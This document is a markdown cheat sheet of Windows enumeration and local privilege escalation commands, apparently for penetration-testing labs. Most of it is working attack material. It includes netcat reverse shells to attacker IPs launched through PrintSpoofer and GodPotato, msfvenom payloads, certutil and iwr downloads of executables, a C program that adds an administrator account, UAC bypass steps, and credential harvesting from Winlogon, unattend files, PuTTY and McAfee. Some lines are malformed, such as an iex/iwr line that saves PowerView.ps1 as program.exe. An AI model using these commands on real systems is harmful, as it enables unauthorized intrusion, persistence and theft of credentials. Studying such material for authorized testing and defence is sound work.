Skip to content

windows_enumeration_and_privilege_escalation.md

Latest commit

 

History

History
447 lines (389 loc) · 11.1 KB

windows_enumeration_and_privilege_escalation.md

File metadata and controls

447 lines (389 loc) · 11.1 KB
Raw

Windows Enumeration and Local Privilege Escalation

Enumeration

-> Enumerates all local accounts

net user

-> Get information from a specific user

net user <user>

-> Get information about all groups

net group /domain

-> Get information about local groups

net localgroup

-> Get informations about user

net user <user> /domain

-> Check user privileges

whoami /priv

-> View groups you belong to

whoami /groups

-> View interfaces and network information

ipconfig /all

-> View all active TCP connections and the TCP and UDP ports the host is listening on

netstat -ant

-> Firewall

netsh firewall show state
netsh firewall show config

-> List running processes

tasklist

-> View system tasks

schtasks
schtasks /query /fo LIST /v

-> Location Files

Get-ChildItem -Path C:\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\<user>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include local.txt,proof.txt,flag.txt -Recurse -ErrorAction SilentlyContinue -Force

-> Winlogon

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

-> Stored Credentials

cmdkey /list

-> Run cmd with stored credential

runas /savecred /user:<user> cmd.exe

or

.\RunasCs.exe <user> <password> "C:\Windows\Temp\nc.exe <your-ip> <port> -e cmd.exe" -t 0 –bypass-uac

-> Installed Softwares

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname

Privilege Escalation

Unquoted Service Path

-> Example

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

-> Detection

Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v ""

wmic service get Name,State,PathName | findstr "Program"  
sc qc <service_name>  
\\ BINARY_PATH_NAME display Unquoted Service Paths, without ""
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

-> Exploitation - attacker

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > name <name_inside_the_path>.exe  
nc -nvlp <port>

-> Exploitation - windows

iwr -uri <ip>/<service_eecutable_name> -Outfile <service_executable_name>
move <name_inside_the_path>.exe <service_path>  
sc stop <service_name>
sc start <service_name>

or

shutdown /r

-> Exploitation - Manually

  • Create a file TestService.c
#include <stdlib.h>
int main ()
{
  int i;
  i = system ("net user bob password@123 /add");
  i = system ("net localgroup administrators bob /add"); 
  return 0;
}

x86_64-w64-mingw32-gcc TestService.c -o TestService.exe
iwr -uri http://192.168.10.20/TestService.exe -Outfile TestService.exe
copy .\TestService.exe "C:\Program Files\My Program\My service\TestService.exe"
Stop-Service TestService
Start-Service TestService

-> Exploitation - PowerUp.ps1

.\PowerUp.ps1
Invoke-AllChecks
Get-UnquotedService
Write-ServiceBinary -Name 'TestService' -Path "C:\Program Files\Enterprise Apps\TestService.exe"
Restart-Service TestService

binPath - Services [PrivEsc]

-> Detection

. .\PowerUp.ps1
Get-ModifiableService -Verbose

or

Get-ModifiableService -Verbose
wmic service get Name,State,PathName | findstr "Running" | findstr "Program"  
wmic service get Name,State,PathName | findstr "Program"  
icacls <pathname>  
//(F) and (i) (F)
accesschk.exe -wuvc <service_name>
//RW Everyone  
//  SERVICE_CHANGE_CONFIG
sc qc <service_name>

-> Exploitation - Windows [PrivEsc]

certutil -urlcache -f http://10.9.1.137:803/ok.exe ok.exe  
sc config <name_ service> binPath="C:\Users\files\ok.exe" obj= LocalSystem  
sc stop <service_name>  
sc query <service_name>  
sc start <service_name>

SeImpersonatePrivilege

PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "C:\Users\bob\Desktop\nc.exe 192.168.10.20 4444 -e cmd"
.\SigmaPotato "net user bob password@123 /add"
.\SigmaPotato "net localgroup Administrators bob /add"
.\GodPotato-NET4.EXE -cmd "C:\Temp\nc.exe 192.168.10.20 4444 -e cmd"
.\GodPotato-NET35.EXE -cmd "C:\Temp\nc.exe 192.168.10.20 4444 -e cmd"

Autorun

-> Detection - windows

C:\Users\<user>\Desktop\Tools\Accesschk\accesschk64.exe -wvu ""C:\Program Files\Autorun Program"  
\\FILE_ALL_ACCESS

-> Exploitation - kali

msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f exe -o program.exe
iex (iwr http://<file_server_IP>/PowerView.ps1 -Outfile program.exe)
move program.exe "C:\Program Files\Autorun Program"
logoff

Startup Applications

-> Detection - Windows

icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" | findstr (F) 
\\BUILTIN\Users:(F)

-> msfvenom - Attacker VM

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o ok.exe

-> Exploitation - Windows

iex (iwr http://<file_server_IP>/PowerView.ps1 -Outfile ok.exe)
move ok.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
logoff

Bypass UAC

After obtaining a reverse shell on a machine with a local administrator user, it may be necessary to bypass User Account Control (UAC) to perform specific malicious actions, such as persistently installing malware, modifying security settings, or exploiting system vulnerabilities. This can be done through specialized techniques and tools designed to bypass the restrictions imposed by UAC.

EventViewer

-> Step 1 - Kali

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f exe > ok.exe

-> Step 2 - Win Owned

cd C:\Windows\tasks
iwr -uri 192.168.119.139:805/shell.exe -Outfile shell.exe
Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe

-> Step 3 - Win Owned

iwr -uri 192.168.119.139:805/powerup.ps1 -Outfile powerup.ps1
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

[+] Run a BypassUAC attack to elevate privileges to admin.

-> Step 4 -Kali

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.139 LPORT=8445 -f exe > ok.exe

-> Step 5 - Win Owned

wget 192.168.119.139:805/Invoke-EventViewer.ps1 -O Invoke-EventViewer.ps1
. .\Invoke-EventViewer.ps1
Invoke-EventViewer cmd.exe /c "C:\Windows\tasks\shell2.exe"
Invoke-EventViewer C:\Windows\tasks\shell2.exe

FodhelperBypass

Capturing configuration file credentials

-> Powershell History

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

-> EXploiting Saved Windows Credentials

cmdkey /list  
runas /savecred /user:admin cmd.exe

-> IIS Configuration

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString  
type C:\inetpub\wwwroot\web.config | findstr connectionString

-> Retrieve Credentials from Software: PuTTY

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

-> Unattended Windows Installations

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

-> Identify

dir /s *.db

-> McAfee Enterprise Endpoint Security - Credentials used during installation

C:\ProgramData\McAfee\Agent\DB\ma.db
sqlitebrowser ma.db
python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>

Using Exploits

-> Get System Version

systeminfo

-> Get Security Update

Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

-> Exploit by CVE

.\CVE-2021-1732.exe
.\CVE-2023-29360.exe

Hoaxshell

-> Installation

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

-> Privilege escalation + Reverse shell

hoaxshell -s <kali-ip> -p <port>

Windows Enumeration Tools

-> PowerUp.ps1

. .\PowerUp.ps1
Invoke-AllChecks

-> winPEASany.exe

winPEASany.exe

-> windows-privesc-check2.exe

windows-privesc-check2.exe --dump -G

-> Windapsearch.py

./windapsearch.py -d <domain> --dc-ip <ip> -U

-> AdPEAS.ps1

. .\adPEAS.ps1
Invoke-adPEAS -Domain '<domain>' -Outputfile 'C:\Users\<user>\Desktop\adPEAS_outputfile' -NoColor

-> PrivEsc.ps1

.\privesc.ps1
Invoke-PrivEsc